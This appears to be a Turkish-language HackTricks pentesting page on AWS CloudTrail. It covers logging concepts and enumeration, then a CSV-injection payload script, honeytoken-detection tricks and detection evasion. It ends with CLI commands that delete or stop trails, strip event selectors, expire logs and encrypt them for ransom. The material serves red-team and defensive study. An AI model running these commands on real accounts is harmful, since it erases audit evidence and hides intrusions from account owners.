AWS - CloudTrail Enum

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

CloudTrail

AWS CloudTrail AWS ortamınızdaki etkinlikleri kaydeder ve izler. Tüm AWS kaynaklarıyla etkileşimler için kimin ne yaptığını, ne zaman ve nereden olduğunu içeren ayrıntılı olay günlüklerini yakalar. Bu, değişikliklerin ve eylemlerin bir denetim izini sağlar, güvenlik analizi, uyum denetimi ve kaynak değişiklik takibi için yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik duruşunu artırmak ve düzenleyici uyumu sağlamak için gereklidir.

Her kaydedilen olay şunları içerir:

  • Çağrılan API’nin adı: eventName
  • Çağrılan hizmet: eventSource
  • Zaman: eventTime
  • IP adresi: SourceIPAddress
  • Ajan yöntemi: userAgent. Örnekler:
  • Signing.amazonaws.com - AWS Yönetim Konsolu’ndan
  • console.amazonaws.com - Hesabın kök kullanıcısı
  • lambda.amazonaws.com - AWS Lambda
  • İstek parametreleri: requestParameters
  • Yanıt öğeleri: responseElements

Olaylar, yaklaşık her 5 dakikada bir JSON dosyasında yeni bir günlük dosyasına yazılır, CloudTrail tarafından tutulur ve nihayetinde günlük dosyaları yaklaşık 15 dakika sonra S3’e teslim edilir.
CloudTrail günlükleri hesaplar ve bölgeler arasında birleştirilebilir.
CloudTrail, günlük dosyası bütünlüğünü kullanarak, günlük dosyalarınızın CloudTrail tarafından size teslim edildiğinden beri değişmediğini doğrulamanıza olanak tanır. Bir özet dosyası içinde günlüklerin SHA-256 hash’ini oluşturur. Yeni günlüklerin sha-256 hash’i her saat başında oluşturulur.
Bir Trail oluştururken, olay seçicileri, kaydedilecek trail’i belirtmenize olanak tanır: Yönetim, veri veya içgörü olayları.

Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, böylece AWS içeriği erişimi olan kişiler için şifre çözer, ancak ek güvenlik için KMS ile SSE ve kendi anahtarlarınızı kullanabilirsiniz.

Günlükler, bu ad formatına sahip bir S3 kovasında saklanır:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • BucketName: aws-cloudtrail-logs-<accountid>-<random>
  • Örnek: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Her klasörün içinde her günlük, bu formatı takip eden bir isme sahip olacaktır: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Günlük Dosyası İsimlendirme Konvansiyonu

Ayrıca, dosya bütünlüğünü kontrol etmek için özet dosyaları aynı kovada bulunacaktır:

Birden Fazla Hesaptan Günlükleri Birleştirme

  • Günlük dosyalarının teslim edileceği AWS hesabında bir Trail oluşturun
  • Hedef S3 kovasına, CloudTrail için hesaplar arası erişime izin veren izinler uygulayın ve erişime ihtiyaç duyan her AWS hesabına izin verin
  • Diğer AWS hesaplarında yeni bir Trail oluşturun ve 1. adımda oluşturulan kovayı kullanmayı seçin

Ancak, tüm günlükleri aynı S3 kovasında saklayabilseniz de, birden fazla hesaptan CloudTrail günlüklerini tek bir AWS hesabına ait CloudWatch Logs’a birleştiremezsiniz.

Caution

Bir hesabın farklı Trails CloudTrail etkin olarak aynı (veya farklı) günlükleri farklı kovalarda saklayabileceğini unutmayın.

Tüm organizasyon hesaplarından 1’e CloudTrail

Bir CloudTrail oluştururken, organizasyondaki tüm hesaplar için cloudtrail’i etkinleştirmek ve günlükleri sadece 1 kovaya almak mümkündür:

Bu şekilde, tüm hesapların tüm bölgelerinde CloudTrail’i kolayca yapılandırabilir ve günlükleri 1 hesapta (korumanız gereken) merkezi hale getirebilirsiniz.

Günlük Dosyalarını Kontrol Etme

Günlüklerin değiştirilmediğini kontrol edebilirsiniz.

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

CloudWatch’a Loglar

CloudTrail, şüpheli aktiviteler gerçekleştirildiğinde sizi uyaran uyarılar ayarlayabilmeniz için logları otomatik olarak CloudWatch’a gönderebilir.
CloudTrail’in logları CloudWatch’a gönderebilmesi için bir rol oluşturulması gerektiğini unutmayın. Mümkünse, bu işlemleri gerçekleştirmek için AWS varsayılan rolünün kullanılması önerilir. Bu rol, CloudTrail’in:

  • CreateLogStream: CloudWatch Logs log akışları oluşturmasına izin verir
  • PutLogEvents: CloudTrail loglarını CloudWatch Logs log akışına iletmesine izin verir

Olay Geçmişi

CloudTrail Olay Geçmişi, kaydedilen logları bir tabloda incelemenizi sağlar:

İçgörüler

CloudTrail İçgörüleri, CloudTrail yollarından yazma yönetim olaylarını otomatik olarak analiz eder ve olağandışı aktiviteler hakkında sizi uyarır. Örneğin, belirlenen temel değerlerden farklı olarak TerminateInstance olaylarında bir artış varsa, bunu bir İçgörü olayı olarak göreceksiniz. Bu olaylar, olağandışı API aktivitelerini bulmayı ve yanıt vermeyi her zamankinden daha kolay hale getirir.

İçgörüler, CloudTrail logları ile aynı kovada saklanır: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Güvenlik

Kontrol AdıUygulama Detayları
CloudTrail Log Dosyası Bütünlüğü
  • Logların değiştirilip değiştirilmediğini (değiştirilmiş veya silinmiş) doğrulayın
  • Her dosya için hash oluşturmak için özet dosyaları kullanır

    • SHA-256 hashing
    • SHA-256 ile dijital imzalama için RSA
    • özel anahtar Amazon’a ait
  • Bir özet dosyası oluşturmak 1 saat sürer (her saat başında yapılır)
Yetkisiz erişimi durdur
  • IAM politikaları ve S3 kova politikaları kullanın

    • güvenlik ekibi —> yönetici erişimi
    • denetçiler —> yalnızca okuma erişimi
  • Logları şifrelemek için SSE-S3/SSE-KMS kullanın
Log dosyalarının silinmesini önleyin
  • IAM ve kova politikaları ile silme erişimini kısıtlayın
  • S3 MFA silme yapılandırması yapın
  • Log Dosyası Doğrulaması ile doğrulayın

Erişim Danışmanı

AWS Erişim Danışmanı, içgörülerini toplamak için son 400 günün AWS CloudTrail loglarına dayanır. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların tarihini kaydeder. Erişim Danışmanı, bu verileri kullanarak hizmetlerin en son ne zaman erişildiğini gösterir. CloudTrail loglarını analiz ederek, Erişim Danışmanı bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin izinleri iyileştirme konusunda bilinçli kararlar almasına yardımcı olur; çünkü uzun süre erişilmeyen hizmetleri tanımlayabilir ve gerçek kullanım desenlerine dayalı olarak aşırı geniş izinleri azaltabilirler.

Tip

Bu nedenle, Erişim Danışmanı, yöneticinin gereksiz izinleri kaldırabilmesi için kullanıcılara verilen gereksiz izinler hakkında bilgi verir

Eylemler

Sayım

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail içinde, günlükler CSV formatında dışa aktarıldığında ve Excel ile açıldığında rastgele kodu çalıştıracak bir CVS enjeksiyonu gerçekleştirmek mümkündür.
Aşağıdaki kod, yükü içeren kötü bir Trail adıyla günlük girişi oluşturacaktır:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Daha fazla bilgi için CSV Enjeksiyonları hakkında sayfayı kontrol edin:

Formula/CSV/Doc/LaTeX/GhostScript Injection - HackTricks

Bu özel teknik hakkında daha fazla bilgi için https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/ adresini kontrol edin.

Algılama Bypass

HoneyTokens bypass

Honeytoken’lar, hassas bilgilerin dışa aktarımını tespit etmek için oluşturulmuştur. AWS durumunda, bunlar kullanımı izlenen AWS anahtarlarıdır, eğer bu anahtarla bir eylem tetiklenirse, o zaman birisi bu anahtarı çalmış olmalıdır.

Ancak, Canarytokens, SpaceCrab, SpaceSiren tarafından oluşturulan Honeytoken’lar ya tanınabilir hesap adı kullanmakta ya da tüm müşterileri için aynı AWS hesap kimliğini kullanmaktadır. Bu nedenle, Cloudtrail herhangi bir günlük oluşturmadan hesap adını ve/veya hesap kimliğini alabilirseniz, anahtarın bir honeytoken olup olmadığını bilebilirsiniz.

Pacu bazı kurallara sahiptir, bir anahtarın Canarytokens, SpaceCrab, SpaceSiren’e ait olup olmadığını tespit etmek için:

  • Eğer canarytokens.org rol adında veya hata mesajında 534261010715 hesap kimliği görünüyorsa.
  • Daha yakın zamanda test ettiklerinde, 717712589309 hesaplarını kullanıyorlar ve hala adında canarytokens.com dizesi var.
  • Eğer hata mesajında rol adında SpaceCrab görünüyorsa.
  • SpaceSiren, kullanıcı adları oluşturmak için uuids kullanır: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • Eğer isim rastgele üretilmiş gibi görünüyorsa, bunun bir HoneyToken olma olasılığı yüksektir.

Anahtar Kimliğinden Hesap Kimliğini Alın

Erişim anahtarının içinde kodlanmış olarak Hesap Kimliğini alabilirsiniz, burada açıklandığı gibi ve hesap kimliğini Honeytoken AWS hesaplarınızın listesiyle kontrol edebilirsiniz:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Daha fazla bilgi için orijinal araştırmaya bakın.

Log oluşturma

Bunun için en etkili teknik aslında basit bir tekniktir. Bulduğunuz anahtarı kullanarak kendi saldırgan hesabınızdaki bir hizmete erişin. Bu, CloudTrail’in KENDİ AWS hesabınızda bir log oluşturmasını sağlar ve kurbanın hesabında değil.

Sorun şu ki, çıktı bir hata gösterecek ve hesap ID’sini ve hesap adını belirtecek, böylece bir Honeytoken olup olmadığını görebileceksiniz.

Log olmadan AWS hizmetleri

Geçmişte bazı AWS hizmetleri CloudTrail’e log göndermiyordu (buradan bir liste bulabilirsiniz). Bu hizmetlerden bazıları, yetkisiz (honeytoken anahtarı) birinin erişmeye çalışması durumunda hata ile anahtar rolünün ARN’sini içeren bir yanıt verecektir.

Bu şekilde, bir saldırgan herhangi bir log tetiklemeksizin anahtarın ARN’sini elde edebilir. ARN’de saldırgan AWS hesap ID’sini ve adını görebilir, bu nedenle HoneyToken’ın şirket hesap ID’lerini ve adlarını bilmek kolaydır, böylece bir saldırgan token’ın bir HoneyToken olup olmadığını belirleyebilir.

Caution

CloudTrail logu oluşturmayan tüm kamu API’lerinin artık düzeltildiğini unutmayın, bu nedenle belki de kendi API’lerinizi bulmanız gerekebilir…

Daha fazla bilgi için orijinal araştırmaya bakın.

Üçüncü Altyapıya Erişim

Belirli AWS hizmetleri veritabanları veya Kubernetes kümeleri (EKS) gibi bazı altyapılar oluşturabilir. Bir kullanıcı bu hizmetlerle doğrudan iletişim kurduğunda (Kubernetes API’si gibi) AWS API’sini kullanmaz, bu nedenle CloudTrail bu iletişimi göremez.

Bu nedenle, EKS’ye erişimi olan bir kullanıcı EKS API’sinin URL’sini keşfettiğinde, yerel olarak bir token oluşturabilir ve CloudTrail tarafından tespit edilmeden API hizmetiyle doğrudan iletişim kurabilir.

Daha fazla bilgi için:

AWS - EKS Post Exploitation

CloudTrail Yapılandırmasını Değiştirme

İzleri Silme

aws cloudtrail delete-trail --name [trail-name]

İzleri Durdur

aws cloudtrail stop-logging --name [trail-name]

Çok bölgeli günlüğü devre dışı bırakma

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Olay Seçicileri ile Günlüğü Devre Dışı Bırakma

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

İlk örnekte, tek bir olay seçici, tek bir nesne içeren bir JSON dizisi olarak sağlanmıştır. "ReadWriteType": "ReadOnly" ifadesi, olay seçicinin yalnızca salt okunur olayları yakalaması gerektiğini belirtir (bu nedenle CloudTrail içgörüleri, örneğin yazma olaylarını kontrol etmeyecek).

Olay seçiciyi özel gereksinimlerinize göre özelleştirebilirsiniz.

S3 yaşam döngüsü politikası aracılığıyla günlüklerin silinmesi

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Bucket Konfigürasyonunu Değiştirme

  • S3 bucket’ını sil
  • Bucket politikasını CloudTrail hizmetinden gelen yazmaları reddedecek şekilde değiştir
  • S3 bucket’ına nesneleri silmek için yaşam döngüsü politikası ekle
  • CloudTrail günlüklerini şifrelemek için kullanılan kms anahtarını devre dışı bırak

Cloudtrail ransomware

S3 ransomware

Asimetrik bir anahtar oluşturabilir ve CloudTrail’in verileri o anahtarla şifrelemesini sağlayabilir ve özel anahtarı silerek CloudTrail içeriğinin kurtarılamamasını sağlayabilirsin.
Bu temelde S3-KMS ransomware olarak açıklanmıştır:

AWS - S3 Post Exploitation

KMS ransomware

Bu, önceki saldırıyı farklı izin gereksinimleriyle gerçekleştirmenin en kolay yoludur:

AWS - KMS Post Exploitation

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin